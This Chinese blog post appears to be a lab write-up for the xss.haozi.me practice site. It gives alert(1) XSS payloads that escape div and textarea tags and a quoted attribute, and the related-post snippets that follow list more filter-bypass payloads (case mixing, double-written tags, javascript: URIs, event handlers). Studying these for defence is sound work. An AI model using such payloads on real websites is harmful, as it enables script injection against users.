xss的绕过

已于 2022-07-29 19:35:21 修改
阅读量714 收藏 1
点赞数
文章标签： xss 前端 javascript
于 2022-07-29 19:30:09 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Miracle_ze/article/details/126057504
版权
本文详细介绍了在xss.haozi.me网站上进行的XSS绕过实践，包括闭合标签、textarea内的处理、实体编码、注释方法等多种策略。通过不同场景的实例，演示如何在各种限制下实现弹窗效果，例如使用img和svg标签、换行、@的分割作用、Unicode编码等，展示了XSS攻防中的技巧和策略。
摘要由CSDN通过智能技术生成

本次绕过在网站xss.haozi.me进行的绕过 练习网站
输出弹出就成功

0x00：闭合标签

在这里插入图片描述

本题很简单只需要闭合标签，并输入弹窗标签

</div><script>alert(1)</script><div>

在这里插入图片描述

0x01:闭合标签，textarea内元素为文本元素

在这里插入图片描述

本题很简单只需要闭合标签，并输入弹窗标签。不能在textarea标签直接写。因为编码无法识别因为会使他识别为文本

</textarea><script>alert(1)</script><texarea>

在这里插入图片描述

0x02：闭合引号

在这里插入图片描述

题目我们输入的内容在value里面，为此我们要跳出来，再输入弹窗语句。因此我们要先闭合双引号再写弹窗语句。

aa" ><script>alert(1)</script>

在这里插入图片描述

最低0.47元/天 解锁文章
Miracle_ze
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
xss绕过html实体化,通过脚本片段绕过XSS防御
weixin_42386511的博客
06-07 1656
原标题：通过脚本片段绕过XSS防御 从恶作剧弹框到盲打后台乃至沦陷一个企业，XSS的危害可大可小，近年来，XSS攻击与防御的博弈持续不断，下面是今年5月份北爱尔兰首府举行的OWASP AppSec EU的安全议题：通过脚本片段绕过XSS防御。一、XSS 防御措施尽管业界付出了很多努力，XSS依然是一个广泛且未解决的问题。有数据指出：谷歌VRP中70%的漏洞是XSS漏洞。XSS防御技术的通用假设为：...
XSS编码问题以及绕过
热门推荐
我不是大牛
07-04 1万+
常用的编码 URL编码：一个百分号和该字符的ASCII编码所对应的2位十六进制数字。 例如“/”的URL编码为%2F # ： %23 ; . ：%2e ； + :%2b；< :%3c >: %3e ; ! :%21 ; 空格：%20; &: %26; (:%28; ): %29，”:%22,’:%27 常用的编码 HTML实体编码：以&开头，分号结尾的。 例如“<...
【漏洞发现-xss跨站脚本攻击】实体编码绕过
m0_46344990的博客
05-28 2950
一、漏洞描述 xss跨站脚本攻击是黑客通过“html注入”篡改了网页，插入了js恶意脚本，前端渲染时进行恶意代码执行，从而控制用户浏览的一种攻击。经常出现在需要用户输入的地方，一旦对输入不进行处理，就会发生网页被篡改。 分为三类 反射型：经过后端，不经过数据库 存储型：经过后端，经过数据库 DOM型：不经过后端，是基于文档对象型的一种漏洞，dom-xss是通过url参数去控制触发的 xss靶场第八关服务器采用了替换恶意关键字的方式防御，对输入进行小写转化，可以使用实体编码绕过服务器检测，当传回浏
XSS攻击绕过方法大全，XSS攻击技巧，收集100种绕过方法分享（2024最新）
最新发布
白帽黑客八哥的博客
12-12 5753
尽管许多网站实施了输入过滤措施来防止跨站脚本（XSS）攻击，但在特定条件下，经过精心编码的脚本仍有可能实施XSS注入。本文旨在为专业的安全测试人员提供一个跨站脚本漏洞的检测指南。
xss绕过方法
sinri的博客
01-30 3693
xss绕过方法 1.改变大小写 将大小写穿插编写 <script>alert(“xss”);</script> 可以转换为： <ScRipt>ALeRt(“XSS”);</sCRipT> 2.关闭标签 利用大于号>关闭标签使得xss生效 ><script>alert(“Hi”);</script> 3.利用html标签触发事件 很多标签都可以对过滤进行绕过 格式：< 标签 事件 = 执行语句 例如： <p
XSS绕过技术
10-11
Cross-Site Scripting（XSS）绕过技术，来自论坛:法克论坛，作者:bystand
XSSBypass:XSS绕过技术
05-17
**XSS（跨站脚本攻击）Bypass：探索XSS绕过技术** XSS（Cross-Site Scripting）是一种常见的网络安全漏洞，它允许攻击者在用户的浏览器中注入恶意脚本，进而执行非授权的操作。当Web应用程序未能充分地验证和转义...
记录几种XSS绕过方式1
08-03
本文主要记录了几种XSS绕过的方法，帮助开发者理解攻击者可能使用的技巧，提高网站的安全性。 1. 服务端全局替换为空的特性： 当网站的过滤机制将某些特定字符如"onerror"或"script"替换为空时，攻击者可以利用...
使用无括号的XSS绕过CSP策略研究 .pdf
09-05
标题中的“使用无括号的XSS绕过CSP策略研究”是指在网络安全领域中，攻击者尝试利用一种特殊类型的跨站脚本（XSS）攻击来规避内容安全策略（Content Security Policy，简称CSP）的防御机制。CSP是一种有效的防止XSS...
第04篇：XSS三重URL编码绕过实例1
08-03
本文主要探讨了一个XSS三重URL编码绕过的实例，揭示了在某些情况下，简单的防御措施可能不足以阻止攻击。 首先，我们要理解XSS的基本概念。XSS攻击通常发生在Web应用程序未能正确过滤或转义用户输入的情况下。当...
xss绕过方法有哪些？XSS攻击绕过过滤方法技巧分享（xss绕过宝塔）
白帽子佳奇的博客
12-12 4575
XSS（跨站脚本攻击）绕过方法是一系列技巧，用来绕过目标网站的安全措施和过滤器，执行恶意的脚本。
XSS常见的绕过手法
Redredredfish的博客
12-07 1万+
XSS常见的绕过手法 大小写绕过 HTML对标签大小写不敏感，可以利用大小写混用绕过 例如：<script>改为<ScRiPt> 双写绕过 有些情况的规则会将黑名单标签替换为空，可以利用这一点构造标签 例如：<script>改为<scr<script>ipt> 同理某些注释符在规则中也会替换为空，这时候可以利用它构造payload 例如：<script>改为<scr<!---test--->ipt> 开口标签 在
xss编码绕过详解（更像是在介绍实体编码和JS编码的解析过程）
qq_41631096的博客
03-09 4340
xss编码绕过详解（更像是在介绍实体编码和JS编码的解析过程） 注：本文通过研究各种情况下实体编码和JS编码是否生效，进而总结了哪些情况下能够进行编码后，javascript代码依然能够正常执行。 解析顺序是这样的，URL 解析器，HTML 解析器， CSS 解析器，JS解析器 URL的解码是在后台服务检测之前的，可以理解为后台收到URL后会自动进行解码， 然后才是执行开发人员编写的对URL中的值...
XSS绕过实战练习
weixin_50464560的博客
05-07 865
XSS绕过实战练习 前言 写这篇博文起源来自于一次网络安全实验课，在实验虚拟环境里有一个xss挑战，估计是搬别人的xss挑战进来，我觉得挺有意思，就记录一下。有些关卡不能再虚拟环境实践，我在自己物理机上找到那个xss挑战平台进行实现。 level1 未进行过滤，直接输入payloadpayload:<script>alert(/xss/)</script> level2 发现对html特殊符号进行了实体编码，<script&g...
xss实体绕过示例
weixin_41082546的博客
11-13 1984
知识点： 倘若是在script、input标签当中，即可突破。 Payload ‘ oninput=alert`1` // 当要在input中输入内容时触发事件 ‘ oninput=alert`1` ‘ 同上 ‘ onchange=alert`1` // 发生改变的时候触发该事件 ‘ onchange=alert`1` ‘ 同上 在script里直接alert 示例： 首选...
xss攻击突破转义_WEB安全之XSS攻击方式与防御方式
weixin_39520393的博客
11-21 873
上一期给大家简单介绍XSS以及其操作，本期将带大家了解XSS比较常见的攻击方式与防御方式，一起去了解一下~XSS 常见攻击方法1、绕过 XSS-Filter，利用 <> 标签注入 Html/JavaScript 代码；2、利用 HTML 标签的属性值进行 XSS 攻击。例如：<img src=“javascript:alert(‘xss’)”/>；（当然并不是所有的 Web...
xss绕过
weixin_43271438的博客
09-29 1639
1. 利用html标签的属性值 利用场景：标签支持JavaScript：code伪协议 对应防御：过滤JavaScript关键字 &lt;iframe src=javascript:alert(1)&gt; &lt;a href=javascript:alert(1)&gt; 文本&lt;/a&gt; " &gt;&lt;svg x="" Onclick=alert(1)&gt; 注释： # ...
xss攻击突破转义_给XSS加点S
weixin_39636717的博客
11-20 713
TOC：约定本文中出现由花括号包裹的内容为服务端进行 html 字符串拼接的动态内容：{ userData }，在其他文章中经常表现为 <%= userData >。本文中所使用的关键词：“用户数据”，与“非受信数据”同义。XSS 简介XSS 是一种代码注入攻击，在受害者浏览器上注入恶意代码并执行，本质是前后端渲染不受信任的用户数据导致的安全问题。不受信任的用户数据指的是由用户提供的数...
【网络安全 --- XSS绕过】xss绕过手法及思路你了解吗?常见及常用的绕过手法了解一下吧
m0_67844671的博客
10-18 1474
【网络安全 --- XSS绕过】xss绕过手法及思路你了解吗?常见及常用的绕过手法了解一下吧；你知道xss如何绕过吗?本篇讲述了一些xss常见的绕过手法及技巧，包括双写，大小写绕过，编码绕过等，过来看看吧
XSS绕过方式有哪些
10-27
以下是一些XSS绕过方式： 1. HTML编码绕过：攻击者可以使用HTML编码来绕过过滤器，例如使用<代替<，使用>代替>等。 2. JavaScript编码绕过：攻击者可以使用JavaScript编码来绕过过滤器，例如使用%3C代替<，...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值